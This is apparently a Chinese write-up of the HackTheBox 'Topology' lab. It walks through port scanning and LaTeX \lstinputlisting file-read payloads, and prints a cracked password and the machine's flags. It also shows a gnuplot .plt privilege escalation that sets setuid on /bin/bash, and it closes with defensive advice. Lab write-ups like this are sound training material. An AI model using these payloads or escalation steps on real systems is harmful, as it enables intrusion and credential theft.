[Meachines] [Easy] Topology LaTeX LFI+Gnuplot .plt权限提升
字数 731 2025-08-29 08:30:24

LaTeX LFI与Gnuplot .plt权限提升漏洞分析与利用

信息收集

目标系统概况

  • IP地址: 10.10.11.217
  • 操作系统: Ubuntu Linux
  • 开放端口:
    • 22/tcp: OpenSSH 8.2p1
    • 80/tcp: Apache httpd 2.4.41

扫描结果

$ ip='10.10.11.217'; itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
    if [ -n "$ports" ]; then
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
        nmap -Pn -sV -sC -p "$ports" "$ip";
    else
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
    fi;
else
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi

LaTeX本地文件包含(LFI)漏洞利用

环境准备

  1. 添加目标主机到本地hosts文件:
echo "10.10.11.217 topology.htb latex.topology.htb" >> /etc/hosts
  1. 访问目标网站:
http://latex.topology.htb/equation.php

漏洞利用

LaTeX的\lstinputlisting命令可用于读取服务器上的任意文件:

  1. 读取/etc/passwd文件:
$\lstinputlisting{/etc/passwd}$
  1. 读取web目录下的.htpasswd文件获取凭据:
$\lstinputlisting{/var/www/dev/.htpasswd}$

获取到哈希值:

vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
  1. 使用John the Ripper破解哈希:
john hash -w /home/maptnh/Desktop/rockyou.txt

破解出的密码: calculus20

获取初始访问权限

使用破解的凭据通过SSH登录:

ssh vdaisley@10.10.11.217

获取user flag:

ea549fbe9b9b240c598e7bf40f2f9532

Gnuplot .plt权限提升

Gnuplot简介

Gnuplot是一个命令行驱动的科学绘图工具,支持多种图形输出类型。它可以执行.plt文件中的命令。

提权步骤

  1. 检查/opt/gnuplot目录下的.plt文件

  2. 创建恶意.plt文件执行系统命令:

echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/exp.plt
  1. 执行.plt文件(可能需要等待定时任务或其他触发方式)

  2. 获取root shell:

/bin/bash -p
  1. 读取root flag:
a7da9976eb37c87c889639f9e98503df

防御建议

针对LaTeX LFI

  1. 禁用或限制\lstinputlisting命令的使用
  2. 实施输入验证和过滤
  3. 使用沙箱环境处理LaTeX渲染
  4. 限制文件系统访问权限

针对Gnuplot提权

  1. 更新Gnuplot到最新版本
  2. 限制.plt文件的执行权限
  3. 监控/opt/gnuplot目录的变更
  4. 避免以root权限运行Gnuplot脚本
  5. 实施最小权限原则
LaTeX LFI与Gnuplot .plt权限提升漏洞分析与利用 信息收集 目标系统概况 IP地址: 10.10.11.217 操作系统: Ubuntu Linux 开放端口: 22/tcp: OpenSSH 8.2p1 80/tcp: Apache httpd 2.4.41 扫描结果 LaTeX本地文件包含(LFI)漏洞利用 环境准备 添加目标主机到本地hosts文件: 访问目标网站: 漏洞利用 LaTeX的 \lstinputlisting 命令可用于读取服务器上的任意文件: 读取/etc/passwd文件: 读取web目录下的.htpasswd文件获取凭据: 获取到哈希值: 使用John the Ripper破解哈希: 破解出的密码: calculus20 获取初始访问权限 使用破解的凭据通过SSH登录: 获取user flag: Gnuplot .plt权限提升 Gnuplot简介 Gnuplot是一个命令行驱动的科学绘图工具,支持多种图形输出类型。它可以执行.plt文件中的命令。 提权步骤 检查/opt/gnuplot目录下的.plt文件 创建恶意.plt文件执行系统命令: 执行.plt文件(可能需要等待定时任务或其他触发方式) 获取root shell: 读取root flag: 防御建议 针对LaTeX LFI 禁用或限制 \lstinputlisting 命令的使用 实施输入验证和过滤 使用沙箱环境处理LaTeX渲染 限制文件系统访问权限 针对Gnuplot提权 更新Gnuplot到最新版本 限制.plt文件的执行权限 监控/opt/gnuplot目录的变更 避免以root权限运行Gnuplot脚本 实施最小权限原则